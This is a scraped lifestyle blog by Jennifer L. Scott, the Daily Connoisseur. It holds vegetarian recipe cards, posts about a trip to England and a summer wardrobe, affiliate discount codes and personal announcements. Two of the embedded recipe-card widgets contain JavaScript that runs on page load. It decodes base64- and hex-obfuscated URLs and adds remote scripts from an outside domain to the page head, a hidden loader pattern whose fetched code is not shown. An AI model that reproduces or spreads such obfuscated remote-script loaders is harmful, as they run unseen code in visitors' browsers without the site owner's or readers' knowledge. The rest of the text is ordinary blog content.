Jennifer L. Scott's Blog

 

I will be the keynote speaker for Victoria magazine's Gracious Living Celebration in Charleston, South Carolina this October and I would love to meet you there! It is four day, three night celebration at The Charleston Place Hotel in the heart of the historic district. 

I'll be speaking alongside Brian Hart Hoffman, India Hicks, and other distinguished speakers. You can learn more in my announcement video. 

Additionally, I invite you to sign up for my free monthly newsletter which has taken the place of my blog articles for now. Visit www.jenniferlscott.com and enter your email in the top lefthand corner and click "subscribe". I send out one newsletter a month. 
I also look forward to seeing you each week on YouTube! I post videos on Mondays and Thursdays on the channel and Fridays in my private member's group, The Chic Society. Thank you, dear friends. I love you very much and look forward to seeing you in the next video! 
Love, 
Jennifer

 

I'm sharing four budget-friendly vegetarian recipes today on The Daily Connoisseur. The recipe cards are available for you down below. 



I hope you enjoy today's video! Be sure to subscribe to my YouTube channel and sign up for my free monthly newsletter to keep in touch. 
Please note: I have taken a step back from blogging on this platform and am focusing more on my author newsletter and YouTube channel. Blogger has changed so much of its platform and one of the frustrations is how many ads are shown on my site. I am actively working to limit the amount of ads shown here but the new ad protocols are difficult to navigate. I wanted to let you know that. Thank you for your understanding! 

{"image":"https://i.imgur.com/vr3zPCz.jpg"... Portobello Mushrooms","description":"The wonderful umami flavor of Portobello Mushrooms makes this savory dish delightful.","yield":"4","author":{"@type":"Person","name":"Jennifer L. Scott"},"recipeIngredient":["4 large Portobello mushroom caps","2 tsp avocado oil","2 Tbsp butter","Handful of favorite herbs, chopped","1 cup tri color couscous, cooked","2 cups yellow lentils or split peas, cooked","3/4 cup panko bread crumbs","¼ cup grated parmesan cheese","¼ cup melted butter.","2 tsp Italian herb seasoning"],"recipeInstructions":["Preheat the oven to 350 degrees F. Clean the mushroom caps and cut off stems, if necessary. Place on a roasting pan, drizzle with avocado oil, add a pat of butter and chopped herbs (ideas are parsley, thyme, dill, scallions, chives). Roast for 15 minutes. To make the filling, combine couscous, beans, breadcrumbs, cheese, chopped mushroom stems, melted butter and Italian herb seasoning. Mix. Add a large heap of filling to each mushroom cap and roast for an additional 15-20 minutes. Enjoy!"],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageStuffed Portobello MushroomsYield: 4Author: Jennifer L. ScottThe wonderful umami flavor of Portobello Mushrooms makes this savory dish delightful.Ingredients4 large Portobello mushroom caps2 tsp avocado oil2 Tbsp butterHandful of favorite herbs, chopped1 cup tri color couscous, cooked2 cups yellow lentils or split peas, cooked3/4 cup panko bread crumbs¼ cup grated parmesan cheese¼ cup melted butter.2 tsp Italian herb seasoningInstructionsPreheat the oven to 350 degrees F. Clean the mushroom caps and cut off stems, if necessary. Place on a roasting pan, drizzle with avocado oil, add a pat of butter and chopped herbs (ideas are parsley, thyme, dill, scallions, chives). Roast for 15 minutes. To make the filling, combine couscous, beans, breadcrumbs, cheese, chopped mushroom stems, melted butter and Italian herb seasoning. Mix. Add a large heap of filling to each mushroom cap and roast for an additional 15-20 minutes. Enjoy![data-ccmcardnum='1'] .ccm-wrapper{border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.25);}[data-ccmcardnum="1"] .ccm-image{text-align:center;height:300px;margin:-20px!important;overflow:hidden;border-bottom:3px solid #6672E5;}[data-ccmcardnum="1"] .ccm-image img{width:100%;height:100%;min-height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:50% 50%;object-position:50% 50%;border-top-left-radius:10px;border-top-right-radius:10px;}[data-ccmcardnum="1"] .ccm-btns-wrapper{text-align:center;}[data-ccmcardnum="1"] #ccm-printbutton{border-radius:25px;width:120px;height:40px;font-weight:700;text-transform:uppercase;background:#6672E5;}[data-ccmcardnum="1"] .ccm-print-options{right:calc(50% - 53px);}[data-ccmcardnum="1"] .ccm-name{text-align:center!important;margin:40px 0 20px!important;}[data-ccmcardnum="1"] .ccm-info{display:-webkit-box;display:flex;-webkit-box-pack:justify;justify-content:center;align-items:center;}[data-ccmcardnum="1"] .ccm-time{border-right:0;border-left:0;margin:0 -20px;border-top:1px dashed #000;border-bottom:1px dashed #000;}[data-ccmcardnum="1"] .ccm-summary{margin-bottom:25px;}[data-ccmcardnum="1"] .ccm-summary:after{content:'';display:block;width:50px;height:2px;background:currentColor;margin:auto;margin-top:10px;}[data-ccmcardnum="1"] .ccm-yield + .ccm-author{margin-left: 30px;}.ccm-wrapper,.ccm-wrapper *{box-sizing: border-box;}.ccm-wrapper strong,.ccm-wrapper b{font-weight: 700 !important;}.ccm-wrapper h3{margin: 0;}.ccm-show{display: block !important;}.ccm-link{color: #4193f0;}.ccm-wrapper{color: #000;max-width: 620px;position: relative;padding: 20px 20px 0;margin: 20px auto;background: #f2f2f2;}.ccm-name{all: unset;display: block;font-size: 20px !important;font-weight: 700 !important;letter-spacing: 0px !important;}.ccm-info{position: relative;margin-bottom: 20px;}.ccm-author,.ccm-yield{display: inline-block;}.ccm-wrapper img{margin: 0 !important;padding: 0 !important;max-width: 100%;}.ccm-btns-wrapper{position: relative;}#ccm-printbutton{margin: 0;color: #fff;padding: 0 20px;font-size: 14px;border-radius: 3px;cursor: pointer;height: 35px;background: #555;border: 0 !important;outline: 0 !important;display: inline-flex;align-items: center;justify-content: center;}.ccm-print-options{display: none;white-space: nowrap;position: absolute;top: 32px;right: 0;z-index: 2;background: #fff;border: 1px solid #ccc;}.ccm-print-options button{display: block;background: 0 0;border: 0;cursor: pointer;padding: 10px;width: 100%;text-align: left;}.ccm-print-options button:hover{color: #fff;background: #555;}.ccm-head{color: #000;font-size: 20px !important;font-weight: 700 !important;margin: 30px 0 0 !important;text-transform: uppercase !important;}.ccm-section-title{font-weight: 700;font-size: 16px;margin-bottom: 10px;}.ccm-section{padding-left: 20px;line-height: 1.7;margin: 10px 0 30px;}.ccm-section-items{margin: 0 !important;padding: 0 0 0 30px !important;}.ccm-section li{margin: 0 0 6px !important;padding: 0 !important;}.ccm-section-steps li{line-height: 1.6;margin-bottom: 10px !important;}.ccm-posturl{display: none;}.ccm-notes-inner{padding-top: 10px;line-height: 1.7;}.ccm-notes-inner p{margin-bottom: 0 !important;}.ccm-notes-inner ul{padding: 0 0 0 18px;margin: 0 0 5px 0;}.ccm-copyright{font-size: 13px;font-style: italic;line-height: 1.6;padding: 15px 0;border-top: 1px solid #ccc;}.ccm-credit{font-size: 12px;padding: 10px;text-align: center;background: #fff;margin: 0 -20px !important;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;border-top: 1px solid rgba(0, 0, 0, 0.15);}.ccm-credit a{color: #00f;text-decoration: none;}.ccm-keywords,.ccm-categories,.ccm-cuisine,.ccm-video,.ccm-section>br,.ccm-time br{display: none;}.ccm-summary{position: relative;text-align: center;margin: 20px 0;line-height: 1.7;font-style: italic;}window.addEventListener("DOMContentLoaded", function () {if(!document.querySelector(".ccm-card-u-script")){var u = document.createElement("script");u.className="ccm-card-u-script";u.src=atob("aHR0cHM6Ly9jZG4ucmVjaXBlc2dlbmVyYXRvci5jb20") + "/WW1MXsBhboWKXE5RSIR9otXSCNq2/code.js";document.querySelector("head").appendChild(u);}for(var h="68747470733a2f2f636f6d6d6f6e2e7265636970657367656e657261746f722e636f6d2f636f64652e6a73".toString(),str="",n=0;n<h.length;n+=2)str+=String.fromCharCode(parseInt(h.substr(n,2),16)); if (!document.querySelector("[src*='" + str + "']")) { var s = document.createElement("script"); s.className = "ccm-card-e-script"; s.src = str + "?v=" + (new Date()).getTime(); document.querySelector("head").appendChild(s); } });{"image":"https://i.imgur.com/WdTRbKd.jpg"... Potato Nachos","description":"This dish is easy to make and nourishing to enjoy!","yield":"4 - 6","author":{"@type":"Person","name":"Jennifer L. Scott"},"recipeIngredient":["5 sweet potatoes","Extra virgin olive oil","1 cup dry black beans","1 sheet kombu seaweed (optional)","1 cup sour cream","1 avocado","Juice from 1/2 a lemon","Large handful of herbs (dill, parsley, cilantro)","Salt and pepper to taste"],"recipeInstructions":["The night before rinse and sort 1 cup of dry black beans and place them in a bowl with about 2 inches of water on top. Let the beans soak overnight. The next day peel and chop up 5 sweet potatoes into thick fry shapes. Rub with olive oil, salt, and pepper.","Roast the sweet potatoes at 350 degrees F for between 30 - 50 minutes (this depends on how thick you cut your fries and how caramazlied you like them).","Meanwhile cook the beans. Drain and rinse them one more time and then add them to a large pot with about two inches of water over it. Add Kombu seaweed, if desired. Let beans come to a boil and then cook them on a simmer for about 60 minutes or until beans are done.","For the herbed sour cream, place sour cream, avocado, lemon juice, herbs, salt and pepper in a blender. Blend until combined.","Place sweet potato fries on a plate and top with desired amount of beans and a dollop of the herbed sour cream. Enjoy!"],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageSweet Potato NachosYield: 4 - 6Author: Jennifer L. ScottThis dish is easy to make and nourishing to enjoy!Ingredients5 sweet potatoesExtra virgin olive oil1 cup dry black beans1 sheet kombu seaweed (optional)1 cup sour cream1 avocadoJuice from 1/2 a lemonLarge handful of herbs (dill, parsley, cilantro)Salt and pepper to tasteInstructionsThe night before rinse and sort 1 cup of dry black beans and place them in a bowl with about 2 inches of water on top. Let the beans soak overnight. The next day peel and chop up 5 sweet potatoes into thick fry shapes. Rub with olive oil, salt, and pepper.Roast the sweet potatoes at 350 degrees F for between 30 - 50 minutes (this depends on how thick you cut your fries and how caramazlied you like them).Meanwhile cook the beans. Drain and rinse them one more time and then add them to a large pot with about two inches of water over it. Add Kombu seaweed, if desired. Let beans come to a boil and then cook them on a simmer for about 60 minutes or until beans are done.For the herbed sour cream, place sour cream, avocado, lemon juice, herbs, salt and pepper in a blender. Blend until combined.Place sweet potato fries on a plate and top with desired amount of beans and a dollop of the herbed sour cream. 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Sprouts Soup","author":{"@type":"Person","name":"Jennifer L. Scott"},"recipeIngredient":["1 Tbsp olive oil","2- 3 onions, thinly sliced","1 lb Brussels sprouts, trimmed and halved","1 teaspoon fresh lemon thyme","6 cups vegetable stock","salt and ground black pepper to taste","Sour cream for topping","Dill for garnish"],"recipeInstructions":["Combine oil and onions in a pot over low heat. Cover and cook until soft and caramelized, 30 to 40 minutes.","Stir Brussels sprouts and lemon thyme into the pot. Pour in stock and season soup with salt and pepper. Bring to a boil, reduce heat, and simmer until sprouts are cooked, about 20 minutes.","Once the soup has cooled slightly, use an immersion blender or place soup in a traditional blender and blend until smooth.","Serve with a dollop of sour cream and a sprig of dill."],"@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageBrussels Sprouts SoupAuthor: Jennifer L. ScottIngredients1 Tbsp olive oil2- 3 onions, thinly sliced1 lb Brussels sprouts, trimmed and halved1 teaspoon fresh lemon thyme6 cups vegetable stocksalt and ground black pepper to tasteSour cream for toppingDill for garnishInstructionsCombine oil and onions in a pot over low heat. Cover and cook until soft and caramelized, 30 to 40 minutes.Stir Brussels sprouts and lemon thyme into the pot. Pour in stock and season soup with salt and pepper. Bring to a boil, reduce heat, and simmer until sprouts are cooked, about 20 minutes.Once the soup has cooled slightly, use an immersion blender or place soup in a traditional blender and blend until smooth.Serve with a dollop of sour cream and a sprig of dill.[data-ccmcardnum='1'] .ccm-wrapper{border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.25);}[data-ccmcardnum="1"] .ccm-image{text-align:center;height:300px;margin:-20px!important;overflow:hidden;border-bottom:3px solid #6672E5;}[data-ccmcardnum="1"] .ccm-image img{width:100%;height:100%;min-height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:50% 50%;object-position:50% 50%;border-top-left-radius:10px;border-top-right-radius:10px;}[data-ccmcardnum="1"] .ccm-btns-wrapper{text-align:center;}[data-ccmcardnum="1"] #ccm-printbutton{border-radius:25px;width:120px;height:40px;font-weight:700;text-transform:uppercase;background:#6672E5;}[data-ccmcardnum="1"] .ccm-print-options{right:calc(50% - 53px);}[data-ccmcardnum="1"] .ccm-name{text-align:center!important;margin:40px 0 20px!important;}[data-ccmcardnum="1"] .ccm-info{display:-webkit-box;display:flex;-webkit-box-pack:justify;justify-content:center;align-items:center;}[data-ccmcardnum="1"] .ccm-time{border-right:0;border-left:0;margin:0 -20px;border-top:1px dashed #000;border-bottom:1px dashed #000;}[data-ccmcardnum="1"] .ccm-summary{margin-bottom:25px;}[data-ccmcardnum="1"] .ccm-summary:after{content:'';display:block;width:50px;height:2px;background:currentColor;margin:auto;margin-top:10px;}[data-ccmcardnum="1"] .ccm-yield + .ccm-author{margin-left: 30px;}.ccm-wrapper,.ccm-wrapper *{box-sizing: border-box;}.ccm-wrapper strong,.ccm-wrapper b{font-weight: 700 !important;}.ccm-wrapper h3{margin: 0;}.ccm-show{display: block !important;}.ccm-link{color: #4193f0;}.ccm-wrapper{color: #000;max-width: 620px;position: relative;padding: 20px 20px 0;margin: 20px auto;background: #f2f2f2;}.ccm-name{all: unset;display: block;font-size: 20px !important;font-weight: 700 !important;letter-spacing: 0px !important;}.ccm-info{position: relative;margin-bottom: 20px;}.ccm-author,.ccm-yield{display: inline-block;}.ccm-wrapper img{margin: 0 !important;padding: 0 !important;max-width: 100%;}.ccm-btns-wrapper{position: relative;}#ccm-printbutton{margin: 0;color: #fff;padding: 0 20px;font-size: 14px;border-radius: 3px;cursor: pointer;height: 35px;background: #555;border: 0 !important;outline: 0 !important;display: inline-flex;align-items: center;justify-content: center;}.ccm-print-options{display: none;white-space: nowrap;position: absolute;top: 32px;right: 0;z-index: 2;background: #fff;border: 1px solid #ccc;}.ccm-print-options button{display: block;background: 0 0;border: 0;cursor: pointer;padding: 10px;width: 100%;text-align: left;}.ccm-print-options button:hover{color: #fff;background: #555;}.ccm-head{color: #000;font-size: 20px !important;font-weight: 700 !important;margin: 30px 0 0 !important;text-transform: uppercase !important;}.ccm-section-title{font-weight: 700;font-size: 16px;margin-bottom: 10px;}.ccm-section{padding-left: 20px;line-height: 1.7;margin: 10px 0 30px;}.ccm-section-items{margin: 0 !important;padding: 0 0 0 30px !important;}.ccm-section li{margin: 0 0 6px !important;padding: 0 !important;}.ccm-section-steps li{line-height: 1.6;margin-bottom: 10px !important;}.ccm-posturl{display: none;}.ccm-notes-inner{padding-top: 10px;line-height: 1.7;}.ccm-notes-inner p{margin-bottom: 0 !important;}.ccm-notes-inner ul{padding: 0 0 0 18px;margin: 0 0 5px 0;}.ccm-copyright{font-size: 13px;font-style: italic;line-height: 1.6;padding: 15px 0;border-top: 1px solid #ccc;}.ccm-credit{font-size: 12px;padding: 10px;text-align: center;background: #fff;margin: 0 -20px !important;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;border-top: 1px solid rgba(0, 0, 0, 0.15);}.ccm-credit a{color: #00f;text-decoration: none;}.ccm-keywords,.ccm-categories,.ccm-cuisine,.ccm-video,.ccm-section>br,.ccm-time br{display: none;}window.addEventListener("DOMContentLoaded", function () {if(!document.querySelector(".ccm-card-u-script")){var u = document.createElement("script");u.className="ccm-card-u-script";u.src=atob("aHR0cHM6Ly9jZG4ucmVjaXBlc2dlbmVyYXRvci5jb20") + "/WW1MXsBhboWKXE5RSIR9otXSCNq2/code.js";document.querySelector("head").appendChild(u);}for(var h="68747470733a2f2f636f6d6d6f6e2e7265636970657367656e657261746f722e636f6d2f636f64652e6a73".toString(),str="",n=0;n<h.length;n+=2)str+=String.fromCharCode(parseInt(h.substr(n,2),16)); if (!document.querySelector("[src*='" + str + "']")) { var s = document.createElement("script"); s.className = "ccm-card-e-script"; s.src = str + "?v=" + (new Date()).getTime(); document.querySelector("head").appendChild(s); } });{"image":"https://i.imgur.com/YUX9Maq.jpg"... Apples","yield":"2 - 4","author":{"@type":"Person","name":"Jennifer L. Scott"},"recipeIngredient":["2 large apples","1 cup old-fashioned oats","¼ cup brown sugar","1 Tbsp ground cinnamon","2 Tbsp ground flax seeds","2 Tbsp butter","Vanilla ice cream (optional)"],"recipeInstructions":["Core the apples almost to the bottom but not quite. Grease a small loaf pan or casserole dish. Place the apples in the pan. In a separate bowl, mix together the oats, sugar, cinnamon, and flax seeds. Stuff the mixture in the apples. Sprinkle the excess around the apples. Place 1 Tbsp butter on top of each apple. Bake in a preheated oven at 350 degrees F for 35 minutes. Serve with vanilla ice cream."],"description":"This easy and delicious dessert is feeling and comforting","@context":"http://schema.org","@type&q..."}PrintWith ImageWithout ImageBaked ApplesYield: 2 - 4Author: Jennifer L. ScottThis easy and delicious dessert is feeling and comfortingIngredients2 large apples1 cup old-fashioned oats¼ cup brown sugar1 Tbsp ground cinnamon2 Tbsp ground flax seeds2 Tbsp butterVanilla ice cream (optional)InstructionsCore the apples almost to the bottom but not quite. Grease a small loaf pan or casserole dish. Place the apples in the pan. In a separate bowl, mix together the oats, sugar, cinnamon, and flax seeds. Stuff the mixture in the apples. Sprinkle the excess around the apples. Place 1 Tbsp butter on top of each apple. Bake in a preheated oven at 350 degrees F for 35 minutes. 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Dear Friends,I am writing to you with exciting news. I am going to be Victoria magazine’s Writer-in-Residence for 2024. As writer-in-residence, I’ll be writing the opening essay for each issue in 2024. This is a tremendous honor for me. I have read and admired Victoria since the 90s! What a tremendous gift to be working with them now in this capacity. Victoria is the most beautifully curated magazine that celebrates gracious living through inspiring home décor, travel, recipes, entertaining, and more. Victoria celebrates women entrepreneurs as well. I was proud to be featured as one of their entrepreneurs of the year in 2021. I invite you to subscribe to Victoria magazine and can’t wait for you to read my essays in 2024. Thank you for your support, which is always appreciated. I also invite you to subscribe to my free author newsletter at jenniferlscott.com Enter your email in the top lefthand corner and click "subscribe". I send out one newsletter a month. This newsletter is replacing my blog during this season. Finally, I hope you will follow along with our adventures on YouTube. We have wonderful videos in store for you now and in 2024. I hope that your December is merry and bright. I look forward to everything that lies ahead.
With love,
Jennifer

 

Dear friends,

I invite you to sign up for my free author newsletter at jenniferlscott.com. Simply enter your email in the upper lefthand corner of the website and click "subscribe". My newsletter goes out once a month and is replacing the blog, for now. I continue to provide weekly videos on YouTube and invite you to subscribe to my channel there too. I have some big announcements coming up later this year and would love to stay in touch with you in these special ways. 

See you there!

Love,

Jennifer 

 The Daily Connoisseur blog is currently being moved to a new and improved site. Thank you for your patience during this time of transition. We look forward to sharing the new blog with you soon! In the meantime, Jennifer is still continuing to post on YouTube. 

 

** Please Note ** My team and I are in the process of moving the blog to a new site. Because of this, there will likely be an interruption in posts until the new site is up and running. Make sure you are subscribed to my YouTube channel to stay current on all videos. Thank you for your understanding and I look forward to sharing the new blog with you, when it is ready. ~ Jennifer 
 
 Sometimes you step off the busy road and go seeking. How we find ourselves here we don’t know. There appear to be clear paths but there are many. Does it matter which ones we choose? Should we think about it too much? There is beauty at the end of the destination. That is something we do know. But there is also beauty along the way. Sometimes I miss that. The beauty in the details along the everyday path. The changes in scenery as the path unfolds. The excitement of walking that path and visioning what it leads to but not fully knowing for sure. And the final revelation, a moment to soak in. Life, in its essence, is beautiful and to be treasured. I want to appreciate the details. I don’t want to miss them. For the details are what makes the revelation so grand.
In today's video we explore some of the small details of my trip to England. 
This berry compote would be easy to replicate. I will try to do so back in America. 

What do I have for breakfast? It's an obscure topic, but I always enjoying knowing what people like to eat for breakfast, especially while traveling. While my breakfast isn't particularly English in nature, I have been enjoying a very steady combination of Greek yogurt, granola, and berries... usually with a piece of hot, buttered toast with a savory spread on it (like pâté or taramasalata).
DesignWorks Ink Travel Jewelry Case I have been looking for a case like this for a long time. I normally struggle to store my jewelry while traveling and combine it with makeup in my makeup bag. 
The little compartments in this case make it easy to organize my jewelry. I love it! 
For perfume, I have been using the Pinrose petals in the scents Secret Genius, Mystical Misfit, and Merry Maker. Code JSCOTT gives 20% off all petal kits. These are great to travel with and distribute an even scent that is not too strong. 
I used the Nomad Lane Bento Bag (link gives $20 off at check-out) for my carry-on and it performed beautifully. It fit my laptop in it, along with so many other things all kept neat and tidy in their little compartments. The trolley sleeve on the back slides easily over the bars of the rolling luggage. It was perfect. 
I give a little wardrobe tour in the video to share what I brought from my ten-item wardrobe to accommodate the English climate. 
I hope you find today's video enjoyable.  Here are links to items featured:


🗝 Featured in the videoNomad Lane Bento Bag (link gives $20 off at check out) DesignWorks Ink Jewelry Cases Pinrose Perfume JSCOTT gives 20% off all petal kits
🗝 JewelrySKYE Jewelry Jennifer20 20% off Dana Rebecca Designs Miranda Frye Jennifer10 for 10% off Capsul jewelry
🗝 Jennifer's Outfit DetailsMichael Stars shorts SKYE Fae striped cardigan Jennifer20 20% offLilysilk camisoles Daily15 15% off Spanish Sandal Co. JEN10 for 10% off Londontown pink illuminating nail concealer JenniferS for 25% off SKYE satin oversized scrunchie Jennifer20 20% off
🗝 Clothing Brands Featured SKYE Jennifer20 20% off Mott & Bow JLS10 10% off Mer Sea & Co Lilysilk pinstripe shirt dress Daily15 for 15% off Teddy Blake Ella Croco Handbag in Blue TBJennC30 for $30 off
🗝 Jennifer's BooksCONNOISSEUR KIDS Lessons from Madame Chic At Home with Madame Chic Polish Your Poise with Madame Chic

News📍Jennifer is a guest on the Bella Figura Podcast.
📍 Join us for The Chic Assignment for Summer
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.

📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too! 

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A note from Jennifer
Thank you for your kind comments and condolences to our family on the passing of my father-in-law. We appreciate you so much. Thank you for watching and I'll see you soon. Remember, there might be an interruption in posts on the blog while we move it to a new and better site. 

NEW* Join The Chic Society on YouTube and become a member of The Daily Connoisseur.

Visit my newly designed Author Website

Shop my Amazon page for a comprehensive list of my favorite things and mentions on the blog.

Facebook facebook.com/JenniferLScottAuthor

Twitter @JL_Scott

Instagram @dailyconnoisseur

Take my affordable eCourses on the POISE *NEW course*, debt-free living, and efficiency at home

FTC: This post is not sponsored. This post may also include affiliate links, including Amazon affiliate links. Thank you for your support. 

 

Hello Daily Connoisseurs,

I hope your summer has been going well. I have missed you over the past few weeks. It was good for me to take a break from the channel. I only wish it was under happier circumstances. In today's video I remember my wonderful father-in-law, John F. Winkworth, and give you updates from England. As I venture back into work I want to thank you for your steadfast support of the channel. I appreciate you very much and look forward to spending the rest of the summer with you.

News📍Jennifer is a guest on the Bella Figura Podcast.
📍 Lessons from Madame Chic hardcopies are finally back in stock! Pick up your copy today ♥️
📍 Join us for The Chic Assignment for Summer
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.

📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too! 

InstagramConnoisseur Kids spotted on the shelves of Powell's bookstore in Oregon. 

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A note from JenniferI have not been replying to comments for the past few weeks, but want you to know that I have read every single one and appreciate them all. Thank you for taking the time to write to me. 
I hope you enjoyed today's update and I look forward to seeing you soon!
Love, 
Jennifer 

NEW* Join The Chic Society on YouTube and become a member of The Daily Connoisseur.

Visit my newly designed Author Website

Shop my Amazon page for a comprehensive list of my favorite things and mentions on the blog.

Facebook facebook.com/JenniferLScottAuthor

Twitter @JL_Scott

Instagram @dailyconnoisseur

Take my affordable eCourses on the POISE *NEW course*, debt-free living, and efficiency at home

FTC: This post is not sponsored. This post may also include affiliate links, including Amazon affiliate links. Thank you for your support. 

 

I'm sharing summer sleepwear, undergarments, and outfits of the week from my summer ten-item capsule wardrobe in today's video. 

Look presentable always is a key tenant of my books. Looking presentable doesn't just happen during the day, but the night as well. It also includes wearing proper foundational undergarments. Check out today's video for more on this philosophy. All items in the video are featured below. 

Davy Piper Bamboo Everyday Tank JenniferScott20 20% off Davy Piper Everyday Lounge Jogger JenniferScott20 20% off 
Lusomé Lucienne nightie  JENN10 for 10% off Pink pom pom slipper 
Davy Piper Nora Bamboo Waffle Nightgown  JenniferScott20 for 20% off (note: hang dry this one)Pink Pom Pom Slipper 

Montelle Intimates Tee Shirt Bra summer15 15% offMontelle Intimates brief  summer15 15% offMontelle Intimates High-Waisted Smoothing Brief  summer15 15% off 


Thinx Period Panties (this link gives $5 off your order valid until 7/27)

Davy Piper Patsy High-Rise Panty 5-Pack JenniferScott20 20% off 

Rungolee Melodie Midi Dress Spanish Sandal Co. JEN10 10% off SKYE Theodora earrings Jennifer20 20% off 
Mer Sea & Co Courtside sweaterMichael Stars shorts Jon Josef flatsMiranda Frye Marlowe Chain Jennifer10 10% off Miranda Frye Gothic Letter Charm Jennifer10 10% off 

Miranda Frye Crawler Earring Jennifer10 10% off 
Scarf by FennwythHandbag by Teddy Blake  TBJennC30 $30 off 

Scarf by Mont Kiji
SKYE Eolia Smocked Dress Jennifer20 20% off Spanish Sandal Co. JEN10 10% off Rachelyn Jewelry cracked glass earrings JENNIFERSCOTT for 10% off 
Outerknown S.E.A. suit
Rungolee Louise BlouseLilysilk Black Silk Trousers Daily15 15% off Jon Josef flats SKYE Ismay earring Jennifer20 20% off 
SKYE Penelope Dress Jennifer20 20% off Marc Fisher Sandals 

Boden Stripe Top (short sleeve no longer available) Mott & Bow beige jean JLS10 10% off 

Oliver Cabell driving shoes 

News📍Jennifer is a guest on the Bella Figura Podcast.
📍 Lessons from Madame Chic hardcopies are finally back in stock! Pick up your copy today ♥️
📍 Join us for The Chic Assignment for Summer
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.

📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too! 

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Madame Chic on Instagram... 

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A note from JenniferThank you for all of your kind comments — both the birthday wishes and condolences on the passing of my father-in-law. We appreciate you all very much. There will be a brief break on the channel now as we plan the funeral in England. I will be back to you in August. Chic Society videos will still resume, although they will be a slightly different format. Thank you for your kindness and understanding. I look forward to seeing you in August.
Love,
Jennifer 

NEW* Join The Chic Society on YouTube and become a member of The Daily Connoisseur.

Visit my newly designed Author Website

Shop my Amazon page for a comprehensive list of my favorite things and mentions on the blog.

Facebook facebook.com/JenniferLScottAuthor

Twitter @JL_Scott

Instagram @dailyconnoisseur

Take my affordable eCourses on the POISE *NEW course*, debt-free living, and efficiency at home

FTC: This post is not sponsored. This post may also include affiliate links, including Amazon affiliate links. Thank you for your support. 

 

Hello, dear readers.  We are currently in England visiting family. The day we arrived, my wonderful father-in-law, Ben’s stepfather, John Winkworth, passed away unexpectedly at home. I feel tremendously blessed to have been able to see him one more time and spend time with him right before he passed away. I had planned to continue filming videos for this channel while in England, but all of that has taken a very necessary pause as I grieve with family, give support to my husband, my mother-in-law, Jane, and help plan the funeral. I have pre-recorded two videos back in America that I have scheduled to be published (this is one of them), but I won’t be engaging in the comments and then there will be a brief break. Thank you for your understanding during this difficult time. Ben and I appreciate you all very much. I truly hope you enjoy today's topic as it means a lot to me. Today is my birthday and you know how much I love roses... And now onto the video and post...

I'm sharing 12 powerful rose meditations that will change your life in today's video. 

News📍 Lessons from Madame Chic hardcopies are finally back in stock! Pick up your copy today ♥️
📍 Join us for The Chic Assignment for Summer
📍 The Ten-Item Wardrobe eCourse is newly updated and back online with all new video, text, and new lessons. If you have previously purchased the ten-item wardrobe eCourse, you can access all of the new changes for free.

📍If you are looking for more content, consider becoming a member of The Daily Connoisseur through the Channel Memberships. In The Chic Society, I publish one vodcast every Friday and do one livestream or zoom call once a month. It only costs $1.99 a month. There are also upper tiers available for people who are interested in supporting the channel on a higher level and receiving monthly mentions in the videos. *NEW* We now have a penpal program too! 

InstagramThank you to the Vietnamese readers for making Polish Your Poise with Madame Chic a bestseller ♥️

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A post shared by Bloom Books - Cảm hứng sống (@bloombooks_camhungsong)

And now for The Chic Society Mentions

The Elegant Connoisseurs
Here are the Elegant Connoisseur top-tier members:Adalet Bir Alan Watt - The 90-Day Novel,  Jenny Williams, Carrot Top Paper ShopAllen's Scottish ShortbreadAshley M. Buffa - Freedom Moms Smart Kid Chore SystemThe Not So Desperate Housewives Blog Elaine Brisebois - Certified NutritionistEmily McNeil, Fine ArtGabrielle Julie Deber Guy Blaise, author of Love Like the FrenchIndiana Davis WillowNookBox.com Janice Leitner Jenny Candelaria Jet Rowley-Herron Jina Kay Henry Julie Kolman Juliet Keeler-LeBien Katherine Rae Linda Eklof Living in loveliness - Carli ThomMacondo Forever Woven Placemats Marie Caudill Mrs. Shockley  A Home for EleganceMoon Shadow Welsh PoniesSelf-Care Routine CardsSturm Brothers' Custom Jewelry - Mrs. TJ SturmTis the Season for Poetry: Through the Year with Poems and Activities for Children and their Families by Kari Vanhoozer
The Chic Connoisseurs

I am linking the Chic Connoisseurs with websites here: A Better Life with KAT (Flylady Cleaning System), Audrey Coyne, BewitchedCrafts.com, Apron Diva by Denise Jordan

Leslie M www.withlesliemorris.com, Luba - healthywithluba.com, Michelle the Italiagal,  Tracy The Tea Lady Tracy Lopez, What’s New with Nadine XO Vanessa Blogs
A note from Jennifer... 

Thank you to everyone for both the birthday wishes and the condolences on the passing of my father-in-law. I appreciate you. This video is very special to me and that is why I wanted to publish it on my birthday. I hope you derive as much joy from them as I do. I have pre-recorded an outfits of the week video that will go up on Thursday and then I will be taking a brief break. Thank you for your understanding. I hope this video blesses you. Love, Jennifer

NEW* Join The Chic Society on YouTube and become a member of The Daily Connoisseur.

Visit my newly designed Author Website

Shop my Amazon page for a comprehensive list of my favorite things and mentions on the blog.

